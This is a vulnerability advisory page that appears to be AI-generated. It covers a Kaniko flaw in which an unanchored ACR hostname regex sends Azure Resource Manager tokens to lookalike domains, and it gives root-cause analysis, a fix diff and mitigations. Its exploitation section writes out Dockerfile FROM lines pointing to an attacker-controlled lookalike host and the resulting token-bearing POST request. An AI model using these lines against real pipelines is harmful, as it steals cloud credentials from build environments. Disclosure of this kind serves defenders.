CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105769

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 5, 2026·11 min read·4 visits

Executive Summary (TL;DR)

An unanchored regular expression in Kaniko's Azure Container Registry credential helper allows an attacker who supplies a crafted Dockerfile image reference (such as FROM x.azurecr.io.attacker.com/image) to exfiltrate the build environment's Microsoft Entra ID (Azure AD) access token for Azure Resource Manager.

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Vulnerability Overview

Kaniko is a tool designed to build container images from a Dockerfile inside an unprivileged container or Kubernetes cluster without requiring a running Docker daemon. To pull base images and push built artifacts to private container registries, Kaniko integrates several cloud provider credential helpers directly into its executor and warmer binaries, and ships standalone credential helper binaries in its container images. Among these is docker-credential-acr-env, originally sourced from github.com/chrismellard/docker-credential-acr-env, which automates authentication against Microsoft Azure Container Registry (ACR).

When Kaniko parses a Dockerfile and encounters an image reference (via FROM or COPY --from), it resolves credentials for the target registry hostname in pkg/creds/creds.go. If the target hostname does not have static credentials configured in the local Docker configuration (config.json) and is not identified as a Google Container Registry (*.gcr.io) or Amazon Elastic Container Registry (*.ecr.*) endpoint, Kaniko queries the integrated ACR credential helper before making any registry network requests.

CVE-2026-105769 (also tracked as GHSA-5q7h-w9jf-cx97 and GO-2026-6225) is classified under CWE-346 (Origin Validation Error) and CWE-522 (Insufficiently Protected Credentials). The vulnerability exists because docker-credential-acr-env validates whether a target registry belongs to Azure Container Registry using an unanchored regular expression. Any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de, or .azurecr.us at any position in the string passes the validation check.

When an attacker supplies a Dockerfile referencing an image on an attacker-controlled lookalike domain—such as x.azurecr.io.attacker.com—the credential helper classifies the host as a legitimate ACR instance. It then acquires a Microsoft Entra ID (formerly Azure Active Directory) access token scoped for Azure Resource Manager (ARM) from the build environment and sends that token in an HTTP POST request to https://<attacker-host>/oauth2/exchange. This occurs during the initial image resolution phase; no RUN instruction execution or image push operation is required to trigger the exfiltration.

Root Cause Analysis

The root cause of CVE-2026-105769 is improper hostname validation in pkg/credhelper/helper.go within the github.com/chrismellard/docker-credential-acr-env dependency. Before initiating an OAuth2 token exchange with a target registry, the helper invokes isACRRegistry(input string) to verify that the destination server is either the Microsoft Container Registry (mcr.microsoft.com) or a tenant-specific Azure Container Registry instance.

In vulnerable versions, the regular expression acrRE was defined as .*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us. In Go's regexp package, alternating patterns without start (^) and end ($) boundary anchors match if any branch appears as a substring anywhere within the evaluated input. Furthermore, the leading .* greedily matches arbitrary preceding characters, while the absence of a trailing $ permits arbitrary suffixes—including an attacker's registered top-level domain—to follow the .azurecr.<tld> segment.

Once isACRRegistry evaluates to true, execution proceeds to ACRCredHelper.Get(serverURL). This function invokes token.GetServicePrincipalTokenFromEnvironment() to harvest ambient Azure credentials available to the build environment. The token acquisition logic checks three sources in order:

  1. Service Principal Environment Variables: Reads AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, and AZURE_TENANT_ID to request a token directly from Entra ID.
  2. Federated Workload Identity: Reads AZURE_FEDERATED_TOKEN or the file path specified in AZURE_FEDERATED_TOKEN_FILE to exchange a Kubernetes service account token for an Entra ID access token.
  3. Azure Instance Metadata Service (IMDS): Falls back to querying the local link-local metadata endpoint at http://169.254.169.254 to obtain a Managed Service Identity (MSI) token.

In all three cases, the requested token is scoped to settings.Environment.ResourceManagerEndpoint (https://management.azure.com/). Following acquisition, the helper invokes registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, tenantID). Rather than contacting a central Microsoft authentication authority, the ACR OAuth2 exchange protocol sends the ARM access token directly to the registry host at https://<serverURL>/oauth2/exchange. Because serverURL is controlled by the caller, the bearer token is transmitted both in the Authorization HTTP header and inside the URL-encoded POST body (access_token=<ARM_ACCESS_TOKEN>) directly to the attacker's server.

Code Analysis

Because the upstream github.com/chrismellard/docker-credential-acr-env repository had not been maintained since March 2023, the Kaniko maintainers resolved the issue in Pull Request #495 (merged in commits 58915b22dbeca4d936d6bb51c0c889baf6ebbc48 and 08de01fe7fffaeb6bc030efa9eae723ea2dd4405, finalized in 96c054c1ad599d10a6bab32bc2b3f2e1b6b8396e). The maintainers moved the package into an in-tree directory at third_party/docker-credential-acr-env and rewrote the hostname parsing and validation logic in pkg/credhelper/helper.go.

--- a/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go
+++ b/third_party/docker-credential-acr-env/pkg/credhelper/helper.go
@@ -27,7 +27,14 @@ import (
 	"github.com/docker/docker-credential-helpers/credentials"
 )
 
-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+// Chainguard patch (GO-2026-6225): upstream's acrRE was unanchored, so any
+// hostname merely containing ".azurecr.io" (for example
+// "evil.azurecr.io.attacker.com") was treated as ACR and sent an Azure AD
+// derived token. acrHostRE is anchored at both ends and only admits
+// well-formed lower-case DNS labels in front of an ACR domain.
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
+
+// portRE matches the digits of an explicit port; the range is checked separately.
+var portRE = regexp.MustCompile(`^[0-9]{1,5}$`)
 
 const (
 	mcrHostname   = "mcr.microsoft.com"
@@ -49,24 +56,53 @@ func (a ACRCredHelper) Delete(_ string) error {
 	return errors.New("list is unimplemented")
 }
 
 func isACRRegistry(input string) bool {
 	serverURL, err := url.Parse("https://" + input)
-	if err != nil {
+	if err != nil || serverURL.Host != input {
 		return false
 	}
-	if serverURL.Hostname() == mcrHostname {
-		return true
+	if i := strings.LastIndexByte(input, ':'); i >= 0 {
+		port := input[i+1:]
+		if !portRE.MatchString(port) {
+			return false
+		}
+		if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+			return false
+		}
 	}
-	matches := acrRE.FindStringSubmatch(serverURL.Hostname())
-	if len(matches) == 0 {
-		return false
-	}
-	return true
+	host := serverURL.Hostname()
+	return host == mcrHostname || acrHostRE.MatchString(host)
 }
 
 func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
 	if !isACRRegistry(serverURL) {
-		return "", "", errors.New("serverURL does not refer to Azure Container Registry")
+		return "", "", credentials.NewErrCredentialsNotFound()
 	}

The patch addresses the original flaw and hardens the parser against variant URL parsing bypasses through four specific mechanisms:

  1. Strict Regex Anchoring and RFC 1123 Label Enforcement: The replacement expression acrHostRE uses ^ and $ anchors to guarantee that the hostname ends strictly with azurecr.io, azurecr.cn, azurecr.de, or azurecr.us. It also restricts preceding subdomain labels to valid lowercase alphanumeric characters and internal hyphens up to 63 characters ([a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?).
  2. Elimination of URL Smuggling and Percent-Encoding Differentials: In Go's net/url package, url.Parse("https://" + input) strips userinfo (user@host), path segments (host/path), queries (?q), and fragments (#frag) before populating serverURL.Host, and automatically percent-decodes characters when calling serverURL.Hostname(). The added condition serverURL.Host != input ensures that input consists exclusively of host[:port] with no percent-encoded sequences (such as foo%C3%A9.azurecr.io or IPv6 zone identifiers like [::1%25.azurecr.io]) or trailing paths that could cause a discrepancy between the validated hostname and the HTTP destination.
  3. Explicit Port Validation: If a colon is present in input, the parser extracts the port suffix, verifies it against portRE (^[0-9]{1,5}$), and confirms via strconv.Atoi that the integer falls within the valid TCP port range of 1 to 65535.
  4. Standardized Credential Helper Error Reporting: When isACRRegistry returns false, Get() now returns credentials.NewErrCredentialsNotFound() instead of a generic error, ensuring that upstream callers (docker/cli and go-containerregistry) fall back to anonymous image pulls rather than aborting the build.

The fix is complete. By enforcing serverURL.Host == input alongside strict DNS label validation and port bounds checking, the patch prevents both subdomain suffix attacks and URL parser confusion between net/url and the HTTP client used during the token exchange.

Exploitation

Exploiting CVE-2026-105769 requires an attacker to trigger a Kaniko build using a Dockerfile that references an external container image under the attacker's DNS control. No prior privileges in the target Azure environment are needed (PR:N), though the build pipeline must be triggered (UI:R), such as through an automated CI/CD workflow running on a pull request or a shared build service.

Prerequisites

  • Vulnerable Component: Kaniko prior to v1.25.20 running in an environment with access to Azure credentials (e.g., an Azure Kubernetes Service pod with Workload Identity or IMDS access, an Azure DevOps agent, or a runner with AZURE_* environment variables).
  • Attacker Infrastructure: A registered domain (e.g., attacker.com) with a DNS A/AAAA record resolving a subdomain containing an ACR suffix (e.g., poc.azurecr.io.attacker.com) to an attacker-controlled HTTPS server configured with a valid TLS certificate.

Exploitation Steps

  1. Listener Configuration: The attacker configures an HTTPS server on poc.azurecr.io.attacker.com:443 to log incoming HTTP POST headers and request bodies sent to /oauth2/exchange.
  2. Dockerfile Injection: The attacker submits a Dockerfile containing either a FROM instruction or a multi-stage COPY --from instruction pointing to the lookalike registry:
FROM poc.azurecr.io.attacker.com/library/alpine:latest
COPY --from=poc.azurecr.io.attacker.com/tools/builder:v1 /app /app
  1. Build Execution: The target pipeline executes /kaniko/executor (even with the --no-push flag enabled). During initialization, Kaniko attempts to resolve image metadata for poc.azurecr.io.attacker.com.
  2. Token Exfiltration: Because poc.azurecr.io.attacker.com is not in ~/.docker/config.json, Kaniko invokes docker-credential-acr-env. The helper matches .azurecr.io, obtains the ARM access token from the environment or IMDS, and sends the following HTTP request to the attacker's server:
POST /oauth2/exchange HTTP/1.1
Host: poc.azurecr.io.attacker.com
User-Agent: Go-http-client/1.1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...
Content-Type: application/x-www-form-urlencoded
 
grant_type=access_token&service=poc.azurecr.io.attacker.com&tenant=<TENANT_ID>&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...

> [!NOTE] > The vulnerability triggers during the pre-flight credential resolution phase before any container layers are downloaded or any RUN commands are executed. Consequently, builds that fail immediately after the FROM lookup still exfiltrate the token.

Impact Assessment

The severity of CVE-2026-105769 is rated Critical with a CVSS v3.1 base score of 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). A key factor in this rating is the Changed Scope (S:C): although the vulnerability resides within the local Kaniko build process, successful exploitation compromises credentials belonging to the underlying cloud control plane (Microsoft Entra ID and Azure Resource Manager).

The exfiltrated artifact is not a narrowly scoped registry pull token; it is an Azure Resource Manager (https://management.azure.com/) bearer token representing the build workload's Azure identity. Until the token expires, an attacker can authenticate directly to the ARM API to perform any operation permitted by the identity's Role-Based Access Control (RBAC) assignments. In typical CI/CD configurations, build identities hold permissions such as AcrPush, AcrPull, Contributor, or Reader roles across subscriptions and resource groups.

Using the captured ARM token, an attacker can query https://management.azure.com/subscriptions?api-version=2022-12-01 to enumerate cloud resources, and subsequently perform a legitimate /oauth2/exchange handshake against any real Azure Container Registry the identity is authorized to access. This allows the attacker to pull proprietary container images (C:H) and push modified or backdoored container images into production registries (I:H).

From a threat intelligence perspective, CVE-2026-105769 currently carries an EPSS score of 0.00196 (0.20%), placing it in the 9.44th percentile, and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, because the mechanics of the flaw are deterministic and trivial to reproduce using a single Dockerfile line, any multi-tenant build service or open-source repository running unpatched Kaniko on Azure infrastructure faces immediate risk of credential compromise.

Remediation

Patching Guidance

Organizations using Kaniko should upgrade to kaniko v1.25.20 or later immediately. In v1.25.20, docker-credential-acr-env is vendored in-tree under third_party/docker-credential-acr-env with anchored hostname validation, and a build-time verification step in deploy/Dockerfile asserts that lookalike domains return credentials not found.

  • Container Image Users: Update CI/CD pipeline definitions and Kubernetes pod specifications to reference v1.25.20 or later for both executor and warmer images.
  • Go Module Consumers: Update go.mod dependencies to pull the patched revision:
go get github.com/chainguard-dev/kaniko@v1.25.20
go mod tidy

> [!NOTE] > If standalone builds or custom container images install github.com/chrismellard/docker-credential-acr-env directly from upstream, note that the upstream repository is unmaintained and remains vulnerable. Replace upstream binaries with the patched implementation from third_party/docker-credential-acr-env in Kaniko v1.25.20.

Workarounds and Defense-in-Depth

When immediate upgrading is not feasible, apply the following mitigations to prevent token acquisition and exfiltration:

  1. Disable Built-in ACR Credential Resolution: Set the environment variable AZURE_ENVIRONMENT=none in the Kaniko container specification. This causes the Azure SDK inside docker-credential-acr-env to fail initialization before querying IMDS or transmitting tokens over the network.
  2. Restrict IMDS Network Access: Apply a Kubernetes NetworkPolicy or host-level routing rule (ip route add blackhole 169.254.169.254/32) to block build pods from communicating with the Azure Instance Metadata Service at 169.254.169.254.
  3. Strip Ambient Credentials: Ensure that untrusted builds (such as pull request validation workflows) do not have AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, AZURE_FEDERATED_TOKEN_FILE, MSI_ENDPOINT, or MSI_SECRET mounted in their environment.
  4. Enforce Registry Allowlists: Use policy enforcement tools (such as Open Policy Agent / Conftest, Kyverno, or Hadolint) in CI pipelines to validate FROM and COPY --from instructions against an explicit list of approved container registries prior to invoking Kaniko.

Official Patches

Chainguard / KanikoKaniko v1.25.20 official release notes and patched binaries.
Chainguard / KanikoPull Request #495 implementing anchored ACR hostname verification.
GitHub Security AdvisoryOfficial GitHub Security Advisory GHSA-5q7h-w9jf-cx97.

Fix Analysis (3)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
EPSS Probability
0.20%
Top 91% most exploited

Affected Systems

github.com/chainguard-dev/kanikokaniko executorkaniko warmerkaniko-fipsgithub.com/chrismellard/docker-credential-acr-env

Affected Versions Detail

Product
Affected Versions
Fixed Version
kaniko
Chainguard
< 1.25.201.25.20
docker-credential-acr-env
chrismellard
all versions-
AttributeDetail
Vulnerability IDCVE-2026-105769 / GHSA-5q7h-w9jf-cx97 / GO-2026-6225
Weakness ClassCWE-346 (Origin Validation Error) / CWE-522 (Insufficiently Protected Credentials)
CVSS v3.1 Score9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N)
Attack VectorNetwork (Crafted registry hostname in Dockerfile FROM or COPY --from)
Affected Componentkaniko (< v1.25.20) & docker-credential-acr-env
Security ImpactExfiltration of Microsoft Entra ID (Azure AD) access tokens for Azure Resource Manager
EPSS Score0.20% (9.44th Percentile)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195.002Supply Chain Compromise: Compromise Software Supply Chain
Initial Access
T1552.005Unsecured Credentials: Cloud Instance Metadata API
Credential Access
T1552.001Unsecured Credentials: Credentials In Files
Credential Access
T1567Exfiltration Over Web Service
Exfiltration
T1078.004Valid Accounts: Cloud Accounts
Lateral Movement
CWE-346
Origin Validation Error

The software does not properly verify that the source or destination of data corresponds to the expected origin or domain before transmitting sensitive authentication credentials.

Known Exploits & Detection

GitHub IssuePublic issue report detailing the unanchored regular expression in docker-credential-acr-env.
GitHub Pull RequestPull request containing unit tests and build assertions demonstrating lookalike hostname exploitation (e.g., evil.azurecr.io.attacker.com).

Vulnerability Timeline

Upstream repository chrismellard/docker-credential-acr-env makes its final commit and ceases active maintenance.
2023-03-04
Security audit identifies the reachability of the unanchored regex vulnerability in Kaniko releases.
2026-10-23
Pull Request #495 authored and merged in chainguard-forks/kaniko, vendoring docker-credential-acr-env into third_party/ with strict anchored hostname validation.
2026-10-26
Final dependency updates merged in commit 96c054c1ad599d10a6bab32bc2b3f2e1b6b8396e.
2026-10-27
Kaniko v1.25.20 released; CVE-2026-105769 and GHSA-5q7h-w9jf-cx97 published.
2026-11-02
OSV and Go Vulnerability Database entry GO-2026-6225 synchronized.
2026-11-04

References & Sources

  • [1]GitHub Security Advisory GHSA-5q7h-w9jf-cx97
  • [2]Kaniko Pull Request #495: Fix ACR Credential Helper Hostname Validation
  • [3]Kaniko Release v1.25.20
  • [4]Go Vulnerability Database: GO-2026-6225
  • [5]NVD - CVE-2026-105769
  • [6]CVE.org Record: CVE-2026-105769
  • [7]docker-credential-acr-env Issue #21
  • [8]CVE List V5 JSON Record for CVE-2026-105769
  • [9]Wiz Vulnerability Database: CVE-2026-105769
  • [10]Feedly CVE-2026-105769 Tracker
  • [11]The Hacker Wire: CVE-2026-105769 Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 3 hours ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 4 hours ago•CVE-2026-61536
7.5

CVE-2026-61536: Remote Code Execution via Unsafe Reflection in masci/banks CompletionExtension

CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.

Alon Barad
Alon Barad
6 views•10 min read
•1 day ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
7 views•9 min read
•1 day ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
7 views•10 min read
•1 day ago•CVE-2026-113787
6.1

CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.

Alon Barad
Alon Barad
7 views•11 min read